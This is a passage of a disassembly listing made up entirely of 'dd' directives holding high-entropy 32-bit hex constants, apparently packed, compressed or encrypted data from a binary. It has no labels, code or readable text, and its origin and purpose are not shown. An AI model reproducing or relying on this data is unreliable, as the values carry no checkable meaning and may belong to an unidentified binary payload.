6185E84h, 3023D014h dd 0F9690F98h, 81518135h, 2809FDC2h, 80A64814h, 88F94185h dd 3C101618h, 240CE8F2h, 0D81BCC41h, 0A8C09A11h, 8D278D80h dd 0A8A0AB42h, 9440C082h, 58015982h, 388B3C7Ch, 0B382A8A6h dd 87A8B7C2h, 0FF3422A3h, 466EA40Ah, 8C09EE2h, 800EE8A4h dd 0E2E8C28Ah, 709CC07Ch, 79C17487h, 3027B8A2h, 2FA409Ch dd 90C6F4F4h, 620D1434h, 7518E3D1h, 424D4531h, 354638D1h dd 86346285h, 432C69F3h, 206A8553h, 798B1D17h, 6CB9DAF6h dd 0FF757652h, 17913B03h, 0C9C3CF2Dh, 94D87E2Fh, 0B651F605h dd 4DC7D314h, 0EE7FA7A4h, 0D050ECCAh, 0C3F094D9h, 8071FEB6h dd 153A882Eh, 0F63FB8BBh, 24921131h, 0E016C7C1h, 43DAB4BBh dd 185D8FB6h, 0F85305Fh, 2A4C4551h, 8DE9ABh, 0DA97AFE3h dd 898CE1E6h, 404A4977h, 3D93495Eh, 258B82E5h, 1579332Ah dd 11546FBCh, 0E6AD5DC0h, 0F570C52Bh, 84C230A7h, 0C73BC22Fh dd 2A2FC12Dh, 0EA86F784h, 37DF9F39h, 0C0CB79F9h, 9B92FF0Bh dd 0F74A0BF6h, 1DE77AE6h, 0F761EA22h, 5D23A82Eh, 0E559057Eh dd 0CA72060Bh, 3B8C3E36h, 8BEC7722h, 4B548FEFh, 16570C63h dd 5ABB4629h, 0F935BB32h, 0A7E12455h, 6BB17E1Fh, 0B9D606D2h dd 2D71D46Dh, 9F93EEAAh, 76DF6AAAh, 0EC232AA5h, 436A4D83h dd 5F865AABh, 4A82C108h, 2F557DBDh, 8942D5Eh, 4ABCFF4Ch dd 0F6F2DD5h, 0D6D45D84h, 0DAE1CABAh, 0C3D95806h, 0DFA1C7F2h dd 8039D27h, 0DC0D7E56h, 0E180EC17h, 7C044E67h, 4C596D1Ch dd 3B2E463Ch, 0AADCD775h, 0F1C3E23h, 0C7EF97E1h, 0FF7FD7E7h dd 0D87ED3FDh, 70BCD01Dh, 0DBD29BF6h, 0D4D6BB79h, 5031D761h dd 95D1D117h, 593268E4h, 9CC4D1B6h, 0F2DDE9BCh, 0ED44EBE6h dd 0ACF9E802h, 2F4F7B89h, 552466CBh, 383CF6EBh, 4FC4C977h dd 15D3A3B7h, 8573956Dh, 0AB955AE0h, 928F8A64h, 5F49FA8Ch dd 25A1D9CAh, 0FD768D85h, 357F37DAh, 0EAA02D14h, 0C4C1758Bh dd 0BC8B3A87h, 855B17F0h, 758B1BCFh, 0A31B4D8Ch, 0B91BC1F6h dd 0C0F22BD5h, 0A0E3D47h, 0A3778CEEh, 4B8BF830h, 0F4B85581h dd 48C22525h, 9C6833AAh, 0E7E32A8Bh, 800CEF7Ch, 0EBE7FA43h dd 0A8A2427h, 12A6CB70h, 0C3DB7E02h, 0BBAD325Fh, 18360F81h dd 2773C59h, 0DE43B5C0h, 9BF99C84h, 7787A697h, 0AAFE976Ah dd 0EA02BADFh, 6AF8BA76h, 1FE006D4h, 0DF034209h, 8B8C54EDh dd 1018D56Bh, 340839FAh, 0A18A81DDh, 0CD5E25C9h, 0C0F6A5DBh dd 6B64E9BEh, 530821DEh, 5FCC3F01h, 2198AD72h, 703C389Ah dd 540DA5BAh, 99643B25h, 5A465320h, 0DC2DD39Eh, 292E360Bh dd 0CAAEAAE7h, 0DA43F073h, 0CEBA926Dh, 0B40ECC6Ch, 0A7B6B4A0h dd 0AB621689h, 0E6B48BA9h, 0E37BFECEh, 0F0711B42h, 0DFBCCEDEh dd 0A0668EE2h, 0C3CB434Bh, 18CAF411h, 0E0FA381h, 0D1A6FEFDh dd 3F1C0DC8h, 0FDE2034Bh, 77906E57h, 95B58F22h, 0BD6CD253h dd 384AF5Dh, 95670C53h, 0D51E4B82h, 0AB485F0Bh, 0F2A81A8Eh dd 0E6DA2AF6h, 31C95FEDh, 0A6EE6FDDh, 499EE5AFh, 9C77B75Eh dd 2BCEFD0h, 0F04FE058h, 49B17FBFh, 3F2704A3h, 97FCD1A6h dd 156F3B93h, 0F56F16ABh, 2F550AF3h, 0BCD19396h, 0B04A95A3h dd 9F8B127Eh, 0B425C52Bh, 0AF61C672h, 261C075Ah, 0D3F18D6h dd 0E123FE54h, 3EFC5827h, 0B79FEF04h, 5E65C370h, 0BE3AACAAh dd 972CD6D1h, 7C14CCA2h, 834DBC9Dh, 607B047Dh, 0F6DE4AC6h dd 0E95EB547h, 31B45E62h, 0D8F6B690h, 2BDF5B42h, 8447322Ch dd 13FD3307h, 7A979E77h, 880A7C99h, 787E3AFDh, 0EF020586h dd 0CD5F1F28h, 0AE001105h, 1ECD1457h, 71870D1h, 0BB92546Fh dd 1C0C3FBEh, 3E6294DEh, 0E02844E5h, 28DA3918h, 5845D666h dd 3EE99A1Dh, 0C2B8CA96h, 0AF8AFDCDh, 7E96464Dh, 0F8E7EC31h dd 70FC340Fh, 0D4A1E44Ah, 2E3B52A3h, 0F89FDF41h, 4AE6F36Bh dd 656FB7EDh, 0A9E8BB8Fh, 48EACD68h, 185D8E82h, 0AC913A81h dd 280739EEh, 0C719FC28h, 4DFD3405h, 7564D251h, 0FC7D1073h dd 70F514D4h, 7610FF64h, 50FE1A10h, 2CFC7490h, 0B44BA17Ch dd 0BAE1CC55h, 9FD3DF27h, 0CEDD820Ah, 87C74646h, 0EB83CDADh dd 98B6D1C1h, 0F2D8272Bh, 0AC194D3Fh, 0DC7A1B71h, 133E8563h dd 7C28139h, 39449C9Ah, 2089D299h, 2A379EC4h, 0E7154E89h dd 0F42F8AECh, 0AE7AB139h, 5BA36190h, 54BDB6E5h, 0FA9EF5D9h dd 963E0C74h, 6A9329C4h dd 356AB3A1h, 37DA14EBh, 17F965F9h, 56E8997Eh, 179BC71Dh dd 2EBB5855h, 190FE6F0h, 93571F45h, 0ACF39585h, 0C0FA2CD1h dd 1BE4B07Dh, 2FA6EE94h, 8517F37Dh, 2446DEDBh, 1C7194D7h dd 0EFE38A95h, 3B16B0A8h, 0EF5A4AFDh, 84CA95E9h, 0B0F2D5DEh dd 0D1A0FBE9h, 5CF6FC4h, 786AD42Fh, 0DB6D1497h, 2AC7C87Bh dd 813C75A8h, 50081E1Ah, 0BF7CDC0Fh, 0BB5E6B39h, 322FF685h dd 0FDFE1911h, 79088FC3h, 90F6FB60h, 0A289645Bh, 8915FA5Bh dd 1EE3BDC0h, 41F0B44Dh, 55FA79B7h, 0B8AC0F8Bh, 4346B25Ah dd 0BEFC2565h, 99C2EA26h, 0D2167F5Bh, 0FC664FFh, 6B125DA9h dd 2F7A3DF4h, 0B437D9B3h, 0F9EBCE82h, 0F0CE4CAh, 0AD91EAABh dd 92846EBFh, 0B3EC17F8h, 49AD77DBh, 336F9565h, 300CE28Ch dd 89F1ED58h, 0F0ED669Fh, 0AFAACEC4h, 0B9CA30F2h, 0A73DBEA1h dd 0BA81C9BBh, 71BACAC4h, 0F8D57C08h, 0C3581D5h, 0AF6E7BEAh dd 0E295E4C5h, 2B882783h, 10A49275h, 73381EFDh, 0CBD7CED5h dd 97E0D1B9h, 1E5787EFh, 97B14A23h, 41334CE9h, 29E79DD9h dd 38CA5E71h, 344A62BBh, 1358AEDh, 85CA21E2h, 25BF982Bh dd 5BDE5920h, 0D11D99A5h, 0A8DCC0FDh, 0FC1F0C19h, 55268EF3h dd 1B973C0Fh, 4691AC85h, 4440B7CFh, 1D7BAAB4h, 6E2FFDD2h dd 75FC09EAh, 64574582h, 0FBF1DF93h, 66F84877h, 0F17166Bh dd 14FB195Dh, 6DA6D34Fh, 9D53899Dh, 585D343Eh, 0D6FF2C74h dd 0BCFAB31Dh, 0EA9D28FCh, 0ADAC5FE8h, 76DD6054h, 9E2C9E00h dd 207598F1h, 62F1D663h, 0CCF7E6AAh, 22FB9914h, 3F03C95Ch dd 0AB3EFF9Ah, 8DA29784h, 0C3D95AE1h, 95C0EE0h, 0E7B405DEh dd 9F4C27EAh, 36BACCEAh, 5A3B4EB7h, 4B7DEB4Bh, 950FC07h dd 0AA06FA75h, 27557614h, 0BA835DECh, 0EBAFF7F6h, 5A0DDE02h dd 9F9BC750h, 9CB3C616h, 1A456EC5h, 8177F534h, 77288388h dd 532308DFh, 2AAA18DFh, 22376229h, 3F46A0Ch, 0C42EDDC5h dd 2A6F825Ch, 0F8BA9A06h, 9F5D5386h, 7078B1A5h, 0D8BD06F7h dd 9B614BEBh, 8A4B94AFh, 0D069D201h, 6D9E81E6h, 0AA1F8381h dd 7A2FA57Ah, 52CF259Ah, 0D14A556Bh, 0A6FA69D5h, 8E6D92Eh dd 0D86C27D5h, 134B3EE1h, 0E07F517Ah, 7C04FBDCh, 0B6E7EFC0h dd 0F1CA6F1Ah, 781E983h, 8BC6CA87h, 0A95028E0h, 0D2EBB3BEh dd 60184E69h, 5B6A7874h, 0BD7003CEh, 0C63D57C5h, 0FE860557h dd 2150FC4Bh, 0FD1546F7h, 709C2F95h, 798DBF7Bh, 4045CFBCh dd 957AAFCDh, 1E9FCA6Ah, 0C4E67138h, 0EC6C2FF6h, 0F735FA20h dd 0B9ACD77h, 850423C3h, 753DD6A6h, 44514030h, 9CA29E93h dd 52DABC09h, 998CB607h, 0C3E5C254h, 0AD25F872h, 1C056292h dd 0BF8902E9h, 0CA9F0C2Ah, 8DE9CC85h, 3A9308EBh, 8D82BB35h dd 9D0BE237h, 4EFEDE28h, 0B90A446Dh, 131A4025h, 0FD7D6BDAh dd 77E20EC5h, 49C6235Bh, 60B4A062h, 0D759E933h, 0DF4C0FCAh dd 9399E45Dh, 4BF0BBF6h, 293E0958h, 24A8672Dh, 5219168h dd 0E25A2B0Ah, 27431224h, 562015FBh, 0FBF1752Fh, 0C60F9540h dd 85F09768h, 0F535CAECh, 5E8DE079h, 1D355BC6h, 0A8ED78ABh dd 0FC1E0448h, 0D7B7B34h, 0BD5E578Ch, 0AA53BA01h, 20BAD69Dh dd 0B397358h, 0C03F92EDh, 0B7CEC3F1h, 0D4F933D8h, 878FF35Ch dd 29D41DE9h, 0B28B99F8h, 0DCC288AAh, 1BB746B8h, 0E9244191h dd 67106812h, 86242220h, 8A1D2D58h, 99819834h, 0EAEA55DBh dd 440F0F4Dh, 0A33C2472h, 39D3CFB0h, 7D676BF6h, 83DA0C67h dd 0B1D16DA3h, 0B71A0635h, 2E9F1E1Fh, 8FD9F29Ch, 192AD57Ah dd 98E96561h, 0F8BE33B3h, 90A30845h, 0D2BAC0F0h, 26B8EE16h dd 0E973EDBBh, 0EAB9609Fh, 0AA780AF8h, 64005DA6h, 0E625DEC2h dd 80AFBAE2h, 0E23152A8h, 0BAE154EAh, 9BC9B682h, 0EA6DEADh dd 0C1DA25D8h, 970576EBh, 3635BFC8h, 0B6079103h, 0D84808AFh dd 9FF4114Dh, 76FF3AB0h, 832FC5F7h, 3362EB76h, 40ABFB86h dd 43CDF0D7h, 0AA85DC3Dh, 6A1FAD7Ch, 0DF45C38Bh, 777787E2h dd 6BCA9823h, 4C254AD1h, 1BB14964h, 0D5A11296h, 48D4804Dh dd 4EF867B6h, 3E1C5F16h, 0BB81F051h, 0FA47A86Ah, 3D90A6BDh dd 259A6DB5h, 605C7D76h, 8721ACEBh, 83B3FD6Ch, 2FE194EAh dd 0D0D9CEF3h, 70491FC0h, 94D1FDE6h, 0FAE7F215h, 0BCFA958Dh dd 5312AD00h, 828DB477h, 0A1EE86E0h, 7E9F4C9Bh, 0FDA86B1Ah dd 0AC04BCC5h, 0D46B20AEh, 0DBC7078Ah, 0BD1B1492h, 0AF54B290h dd 44B9AC8Ch, 6ABA3423h, 0CB973C92h, 0CA47AA2Bh, 2A8DCCFAh dd 0EE06DC66h, 9223568Ch, 0ED29F426h, 69D6078Fh, 0D4E2786Dh dd 405BA7CCh, 0BFDC07F9h, 0E99940A6h, 5AF6BD60h, 79D6FCBCh dd 0F36E5F8Dh, 61BDBA95h, 0A4D97355h, 0BDB4287Eh, 0B08BA9Bh dd 0B8B99C9Dh, 0D80F1DF9h, 5D0E9256h, 4DBFB137h, 0C9F175A3h dd 1AD1C3B5h, 0CBEE21Ah, 0BECFD8D5h, 65FFBAA2h, 322A0D28h dd 0EBBFA1Dh, 557FB459h, 4F62A407h, 0BAB91832h, 6067150Ah dd 2AAA7CDDh, 1EFABF79h, 31969934h, 5171C7F3h, 28A87071h dd 0D40C4D40h, 0BFC787ABh, 0F4492187h, 0F8A6F1B0h, 5A563C65h dd 1F412098h, 4179E5B5h, 9C5C1708h, 0FCEB9B7Eh, 707FF636h dd 6EA9B78Eh, 0A8077F81h, 17512A68h, 83EFDC75h, 3B139997h dd 3980B33Bh, 0D884CD6Ch, 8B7F9007h, 5ECFB1C2h, 0B1DD9119h dd 551E5AD1h, 0D77C4B6Dh, 3C60A1A5h, 0FE868167h, 0B5D66F74h dd 0D96FF827h, 62177E04h, 8859236Fh, 0E21DDACFh, 0AAE33674h dd 0BE404189h, 0EC024F27h, 0E78B8242h, 0E6744285h, 0A7AFB9FBh dd 9F8AE071h, 7420202Bh, 0E5C10525h, 564CBC06h, 0D1E5938Dh dd 2984869h, 6754FEE7h, 5CCA2128h, 3B471CB5h, 9ED1DFA8h dd 0A772B675h, 969B65BAh, 8DAA43CEh, 1598286Fh, 9507DBCDh dd 0E74142A5h, 68995B39h, 5E3738EAh, 0AE11400Bh, 0B4AB9F4Dh dd 0B7E3389Dh, 4BA79C26h, 0F62D10C7h, 2512CCEDh, 0E49BBDCEh dd 7C565E8h, 0CE3645F9h, 5D8E7543h, 0E85F8589h, 0BBFC616Bh dd 0BCACDCD8h, 62EF4F8Ah, 0FC2F2AB7h, 0BB92EDh, 0BC8BBBD3h dd 0C9D812ADh, 383F9ECh, 0AB2B1B16h, 7B441559h, 6DBB3B5Eh dd 1FDFAB81h, 0E47466DCh, 0FF86EE85h, 0DEC4D8A4h, 7CA0348Bh dd 7025F4E7h, 212B8AA0h, 225A275Eh, 4CAFC56Fh, 3B875B06h dd 0C9C4DB7Ah, 89E78C33h, 91BFA6FDh, 0F8F52E25h, 465405BDh dd 0B873D2B3h, 0BE6B63CBh, 2922C0F8h, 0EA3FAE34h, 6783C38Ah dd 1A290BFAh, 4C300FA7h, 3B7A374Ah, 1B9EA36Ah, 0BD2ADC7Ah dd 2A84E3BCh, 0A4861523h, 0D0BBE814h, 0DAFF243Fh, 1F52E6A1h dd 3BF701AEh, 0A288DFE6h, 295B5589h, 75303F89h, 152B9050h dd 0B77B905h, 5928EE51h, 370541D3h, 11FA4628h, 0EE79DC08h dd 4E7303C9h, 9473AADCh, 77F8FD3Fh, 39F5FC72h, 6E6D86B6h dd 7DDF3B6h, 42B355BCh, 27E80C51h, 8EEF2C98h, 9F68662Eh dd 0A73C2994h, 89E01D36h, 9BC1460Bh, 6FE0176Ah, 0D6764EBEh dd 0CB83C786h, 0B8436BA8h, 9C3C3AF1h, 1DF5913Ch, 0F38D4DEh dd 8C1B6D9Bh, 0ADC613EDh, 3B3A461Bh, 6EA339E2h, 9FDC8D01h dd 0F3086DA0h, 5A7B36F5h, 2D628BE9h, 5C9FDF18h, 2096EC54h dd 1F036FE7h, 38057A8Ah, 0A1C5B575h, 0C163F145h, 8568575Ah dd 89B5F900h, 20FA3ED4h, 0E954E2B8h, 0DD7E15C3h, 6F1395Ah dd 9DB8E1FEh, 6AF475F1h, 9F28CE87h, 79107C4Bh, 0A20A0376h dd 0DFC01357h, 0F6A34AF3h, 0AF489107h, 0CE568B70h, 0D4862BA5h dd 420BD99Fh, 6BF4E0D4h dd 41C349D8h, 50B1B513h, 0C0DF7F0h, 0EF945024h, 69FB2355h dd 0F47CA3EEh, 854431B9h, 997556CCh, 0CFA4E5C3h, 6B3E053Eh dd 0EBE48CCEh, 0F71DCF8Eh, 0BB01DABDh, 41DE2B45h, 2459A808h dd 16661F88h, 390308C9h, 6411C76Bh, 0CF1F55C0h, 4015EBDh dd 9ECD422h, 87D3EAE5h, 8A7B6A4Eh, 6D512572h, 0D5BB1DB5h dd 0F49F6061h, 0EED644ABh, 618BF567h, 1E70A26Ah, 9352AE1Fh dd 0E6931BF6h, 24556EFh, 342AB9AEh, 0B7C477B6h, 0F98C0F7Ah dd 7D90FE68h, 96404A96h, 2FACE14Dh, 0F577EB66h, 5D441AE3h dd 0DB6E26DBh, 0D7971360h, 71D5E69Dh, 29F0D575h, 5D3594B4h dd 6C26AB7Dh, 0A7E7DD0Fh, 3FF77F3Dh, 8CE2D732h, 0BE208D96h dd 46388A07h, 4FF9D16Fh, 0A20162EBh, 9399FA7Ch, 0A1BC1850h dd 2EF3CB3Eh, 0FC6A163Eh, 0D1234BE7h, 0D87E325h, 0AE66181Eh dd 0F0E8145h, 0EE6FA65Bh, 0F2FD487Eh, 3E1D21Fh, 0FE05FC4Ch dd 393C57DAh, 5B2D0572h, 0A7F24BFDh, 9C5CB0BBh, 6C897F51h dd 0FAEEFE0Eh, 5FE5E48Bh, 0FA61B2AEh, 241940E6h, 25755D04h dd 0A83EF5Fh, 0D51B45AFh, 798ECA2Ah, 0DCA439B1h, 1238D3E5h dd 0F8BAB804h, 0D81E0737h, 99C2C102h, 0AEB71C2Dh, 17EE820Bh dd 0A0826BF6h, 6BAD603Eh, 0B19A9F48h, 0D237F7A6h, 0BC3B8AF7h dd 0ECFA90DCh, 0C3A3DF3h, 0B678DFC7h, 0C1DF1F12h, 0C0BB9CA8h dd 0B4CDF2E2h, 747DF857h, 472B4BD5h, 0AECCF815h, 6B468733h dd 96E7D7B0h, 3E6C7CA7h, 5B2F2FC6h, 0BCD3A813h, 17126A5Bh dd 95B54ED1h, 858FDE26h, 0AAB9AC52h, 0B41F0E21h, 76FF331Dh dd 0F5008C4Dh, 0F392DE2Dh, 0EC948164h, 9BC08547h, 8CA3692Dh dd 7E813EF5h, 0D7FB9AD3h, 48313195h, 3613A1DEh, 0AF62C8ABh dd 0CC6CFA80h, 0C9A6EC0Dh, 54703D1h, 0BB2AB321h, 831EEF3h dd 0ECFC8B8Bh, 0D795551Ah, 4E1C05D3h, 91B45898h, 9E2D7438h dd 0BBD6532Dh, 0D09BFC76h, 1EEA0C5Ch, 0DD8F0F0Bh, 0EF739EE9h dd 6754DF47h, 6480E71Ah, 0F1BC7810h, 0C8C8838Fh, 0D1DEB46Fh dd 66EF6B34h, 0F742FE82h, 0E3EF08B3h, 0E745E9BBh, 1399D5FAh dd 6080B705h, 0ADD241A7h, 0EF0156B9h, 5CE66F65h, 8DCCF195h dd 0C91E36D8h, 1B5F1D8Ch, 9E04045Eh, 19C00AF4h, 7BD76B74h dd 77236C25h, 1791D8F1h, 0A4613527h, 0F2733D78h, 102F138h dd 0D647EFDh, 74B65128h, 7AA8CA29h, 4D8D1263h, 0BD8A07B7h dd 734581FCh, 0D67B5295h, 698B405Bh, 3AA5916Fh, 0EFA168B2h dd 0F426911Ah, 0C607E1B5h, 987D543Eh, 3917DF75h, 0FDFB3AECh dd 7597008Ah, 95A32DA0h, 27AA5F43h, 0E3FD94D3h, 69C4C2D3h dd 0CD8D6695h, 4B128038h, 7CEB5E2Fh, 0EAAA78CAh, 98A781FEh dd 661D8553h, 0FCD889BCh, 70E6FD40h, 5771D72Dh, 16AB1523h dd 94B325DEh, 0F65D7A45h, 0CD5EBB1Eh, 88F9CCFAh, 0D8F6C667h dd 0FC6D79Ch, 0F56E4EBAh, 0B6033D9Ah, 2BFD4CD6h, 0D8E0BFF4h dd 0A239CFBFh, 6EB58BEh, 4C96E2A5h, 0B68F0EE2h, 53E66BF4h dd 0E02ACA48h, 450F23C1h, 0D4C9820Eh, 0D5A50F45h, 0ABF1DD6h dd 736D6E0h, 0BEC76010h, 0E9E8ED32h, 791FEFF6h, 5F6EB404h dd 0DE7E6B02h, 5FD9218Ah, 68CBF87Bh, 45F7FD12h, 0FC1CB5AAh dd 4B405565h, 816E5267h, 0D2A88E94h, 31FD21F9h, 0B253433Ch dd 5CB90087h, 0F1CA87E0h, 7D18B53Ch, 0CBB2EF7Ah, 97BDE471h dd 0C63BEF5Fh, 9DFE5B99h, 226D601Ch, 86A36D33h, 0EA321C7Eh dd 0BB8B28B9h, 675F1778h, 0FAA644FFh, 8AA8B56Ch, 1757796h dd 95DB62h, 783E383Bh, 8837BC22h, 24317223h, 37CE56B6h dd 0BB3EE5DCh, 2E14C940h, 60A6F500h, 0F15F0585h, 0A36E9F0Dh dd 0DA948575h, 0EED16688h, 222A4F99h, 2E9C13A1h, 3E2BA51h dd 5B1D5E15h, 0C65BCD16h, 7A8ED269h, 703CE8BEh, 8E31102Fh dd 0EEF25F32h, 0D25030BCh, 0FB6254B2h, 0FF670FCFh, 0DBFE7BDFh dd 9B22BA2Fh, 37DC5DF4h, 2BD82DF5h, 9A2BA39Bh, 0DF2EC237h dd 0D2683390h, 95F49D4Eh, 0B7240579h, 9844BE92h, 84BA5555h dd 0D4EC4ED2h, 0E1337963h, 4868BEA1h, 97EAE060h, 7AD03D84h dd 0FB64A651h, 0C51612F8h, 0BDF2E9BEh, 46FD02F1h, 64DB15E1h dd 0E0FF0B7Fh, 1075F135h, 15891262h, 0B80D75D5h, 5ED8C565h dd 0C2205177h, 0AD9B7182h, 28ABCF29h, 0B79C2EE4h, 768AABCh dd 379A48BCh, 0ACEFD15Fh, 1723583Ah, 773F3F03h, 0E681040Ah dd 47C7F5A9h, 5D042EC6h, 5D0FC54Ah, 79AB6D33h, 5A107A85h dd 5AD1D1FEh, 6422296Dh, 3AB09E90h, 0EC503ACDh, 1B6160DCh dd 141556FAh, 0E72CAE09h, 0AFCCAFDCh, 0A7090F99h, 0FAD4552Ah dd 54797DB0h, 74795BF4h, 894752FEh, 0E30057BFh, 0AA574223h dd 890D33C6h, 2FC3C94Bh, 0A9F8081Fh, 4EB6EA89h, 0E9F45DC8h dd 933D3FF5h, 2A85D78Eh, 60BB8FEFh, 6006C30Ah, 0B95EDD8Ah dd 0E0E2673Bh, 8A0AB7F3h, 76B17159h, 519F39F2h, 105893FCh dd 518BE5B1h, 701FBF54h, 69A86E12h, 247E16ACh, 6574B298h dd 1E16CF57h, 6E9DB863h, 5DE1F8EDh, 0FD9DB2Dh, 1DD34F37h dd 0FDA559EDh, 0BAFF1035h, 0CF28B653h, 7E168E4Dh, 197DAF19h dd 0D6202A91h, 0E74EB68Ah, 0AB04A7C2h, 3ABA9E29h, 0F44F3B16h dd 3B4139D8h, 65EF6D60h, 0C98BF734h, 537E3EAFh, 69D92C0Fh dd 0DF26B118h, 6F7997E1h, 7EAECFD9h, 773FE0BFh, 0DEAD14A9h dd 5A34B19Fh, 91AAD607h, 0D5EFE8EAh, 0E385F954h, 18EF3B7Ah dd 0B7853EE1h, 0E2DEF0B5h, 16FDFFEAh, 3529D137h, 3A45AACFh dd 37A9F1h, 0A402CF9Bh, 72264555h, 40FAD15Ah, 0AF0E9F27h dd 53812FCBh, 2BD9D429h, 964554BDh, 21FB4D3Dh, 21D41942h dd 7E5551C9h, 0B7381021h, 0AC5A27B0h, 8AF41DE6h, 3D916FAh dd 0C6C157E7h, 79B47C7Ah, 0D35E1C2Fh, 0D4F65D5Ah, 87ACD26h dd 0E70C5426h, 94054F17h, 0E5DE32CCh, 1F1209C3h, 7433C05Dh dd 0EFE3703Dh, 0AECEEA90h, 0EC857DF4h, 2B605A9Dh, 0B3771F53h dd 48DDDE5Ch, 6D78FAE9h, 4857BD6Fh, 0B3AF1938h, 0B73C4B03h dd 0FD98F223h, 6BA3F44Bh, 2CA5A918h, 5F3A72A5h, 0FD58E65Ah dd 0FAA4812Ah, 0D7C9D9DBh, 314EBFAh, 297A6DBEh, 7E78CE0h dd 0D43325F9h, 0F53C5FDBh, 3AF02D65h, 39D2F2FBh, 0E687563Ch dd 387FE317h, 7FEBA8E9h, 6360B04Ch, 53FF19A6h, 4717155Dh dd 0C6FB4AAh, 0D131BE23h, 6CA399C9h, 5F6B3AA7h, 0B93D8697h dd 962EE2C2h, 3BDB493Eh, 6B645A22h, 0D03DA173h, 0E9452EB1h dd 0A9353DAh, 0AC825AFAh, 45A37F80h, 0F3E7419h, 0A18CF799h dd 1B95107Ch, 2455796h, 0F1C36BC4h, 0EE9A2A77h, 6850FC7Eh dd 0EB82BA97h, 0ACEA6EA7h, 320B0FC0h, 5FBBA848h, 0FA66715Ch dd 8E5849EFh, 0B024B81Fh, 78BC5A71h, 3E2D46Dh, 1CDCC48Eh dd 672BE585h, 16FF03C9h, 0BE7F49C2h, 0BF36EF3h, 5E0AE425h dd 0D8AE7DF8h, 0FB3D6F19h, 0D812EDF0h, 970AAFE5h, 0A22F0752h dd 207A5CC3h, 0EE7AD862h, 0FF0B84BAh, 0E54E0309h, 5647D59Eh dd 89D0CDDh, 5F3B2F44h, 0F33A3E8h, 3E76A8D1h, 0C9C65E6Dh dd 6AEF0723h, 0B14A45EFh, 0CB4A1658h, 291DFF07h, 0B40C36FBh dd 4ACEC9F5h, 0A1B962B1h, 758FCD26h, 524FA057h, 28FA299h dd 57449F0Eh, 0CF95B03Fh, 105A0535h, 5BE354D8h, 3F73DBBEh dd 4946EF6Dh, 0A4E9BF12h, 6CBB8815h, 23AADA4Dh, 0DEDB707Dh dd 0EBD3D67Fh, 5AAB04F7h, 0DEAAA776h, 7CE0613Bh, 85A19871h dd 79301380h, 48DDF3EBh, 557B6EAh, 8E2F96AEh, 0E375E70h dd 0BD378AAFh, 6BA7E2D1h dd 75B228E4h, 0DB5F5C2Fh, 0FB5781FEh, 0B83E18B2h, 83262A15h dd 32D21735h, 0A7AEDAE7h, 0E97D9769h, 0A4FF4E5Eh, 1FB702E1h dd 9D5F8A9Bh, 837142C7h, 36B86697h, 0E9788D7Ah, 826DA247h dd 0D07DAD14h, 42A27FC0h, 0D76228BFh, 66B12F3Ch, 268AE78Eh dd 0EF9BF04Dh, 0A17C08B9h, 5A57ECCBh, 0D75BE1AEh, 4A636ABh dd 0F7153DC7h, 7F17D169h, 0D82A753Dh, 24BD7C94h, 0BFB647D1h dd 254ABDA2h, 9728AECBh, 0ABFC1E3Ch, 7303F7D7h, 64EB120Eh dd 89A324E4h, 5B929DA5h, 0D44E6D42h, 8C22A9FAh, 7DED4A5Bh dd 947AEB41h, 37325B81h, 0E3582916h, 6EE97E77h, 4F9AC07h dd 0D4B61A8Dh, 0F6D4AB90h, 0ADD524ABh, 41A0C97Eh, 32497821h dd 0B505D247h, 47DCFC53h, 0F9E3C0F1h, 489B93ECh, 0E26FB23Dh dd 0DAEB62E5h, 0FA39510h, 95DB705h, 6C6A9EDEh, 67C52042h dd 0F325BFDEh, 707D7093h, 20ED81F9h, 6DF07F5Ch, 65A2A99Bh dd 39FA6DD2h, 4FDA43EEh, 365E88A6h, 7D654A7h, 77A7B4E1h dd 0E6BAD71Fh, 0B704BC7Ch, 0E94B11EEh, 0FDF559B1h, 8A40E1F8h dd 0EF8FE96Ch, 9157CE64h, 0EB439DBEh, 0D9CBCA11h, 0FC4705Dh dd 0E8A33257h, 1943E9A8h, 50DF9D2Eh, 0E6E2AAF6h, 0C2686DCBh dd 9EECE773h, 22F4F56h, 358EFC62h, 8FA8FCC0h, 93C1BE2Ah dd 1827B12Bh, 57B95C0Bh, 45FC2E6Ah, 0E9E5D275h, 82377BD6h dd 7693F1DFh, 89D23148h, 6DF0CE8h, 7D386AE2h, 15DA76CDh dd 6C2F5E09h, 0D55B1D1Dh, 3E02314Ch, 96D17361h, 3DD9B13Ch dd 0E2F99784h, 539F657Fh, 4AC95DCBh, 294FE3A4h, 0E40B767Ah dd 0C731343Fh, 38106078h, 54BB24FFh, 0CAEE65D1h, 0FD761142h dd 0A4DDD215h, 6D3491F7h, 0DE98B7C2h, 5DE7B6E1h, 0F8AEF8B1h dd 0CF03D077h, 7AB2FC52h, 2D16AA63h, 7837B333h, 13ED3C8Bh dd 65817BC7h, 305A7A76h, 0B7BBBF17h, 5CCA439Dh, 2AD84DECh dd 3A83D938h, 0E3A3744Ah, 0F07811DCh, 0F2243A7h, 35F62E6Ah dd 0E571A511h, 59371F66h, 0E260E03Ch, 0FB854A52h, 0F7683CAAh dd 0CAD216A2h, 2AE43A69h, 574CE677h, 48B46E74h, 9EE8E813h dd 9187F6DEh, 1AAD165h, 0C701DEAAh, 0C8379DAEh, 0A36D6D7h dd 81E3F863h, 0D02FEE26h, 0F68E663h, 0C1DFB592h, 43BAFCC8h dd 0DCCF6845h, 73F0F0ECh, 4C6703D7h, 0F7ECA2B9h, 95DCF032h dd 12E894D4h, 5BBA2B28h, 9E0A2EB8h, 0E4C1F2DCh, 56FE1544h dd 74C65222h, 81BFE7A7h, 615CFA20h, 5CE46DF7h, 5D559B10h dd 5749150h, 3DF9618Bh, 3CA99DCBh, 0B8485FFFh, 68DA3C82h dd 0C048AF3Fh, 0B5A36522h, 8EF22B00h, 0ABD0DF2Ch, 43365273h dd 0EBEEA5ACh, 9253D0Fh, 45D4A770h, 0E5B590F1h, 4DE8E4ADh dd 13EC835Bh, 37FBC189h, 82F1157Eh, 0D36D1DF9h, 0E05AE402h dd 0BEC8785Ah, 0A9966F1Fh, 0DBF0E276h, 142C967Dh, 0C7AAEA1Bh dd 992984C6h, 0C59FDBA0h, 0F5BAD721h, 4F2F90D2h, 0D4342717h dd 0A27FA02h, 5FDDF3EFh, 0D301EF5Eh, 0E340BB77h, 4129BA5Fh dd 0B98147Ah, 3707916Dh, 0F7779F48h, 42D1875Fh, 0E816F015h dd 7DED767Dh, 0C5F4045Dh, 6F757F82h, 5173EB3Dh, 5F06EA6Eh dd 0D49C7325h, 5154383Eh, 55C53BFDh, 6C5F85F9h, 7D82DB41h dd 120A43BBh, 0A46EF54Bh, 83CD51D4h, 0FAE02894h, 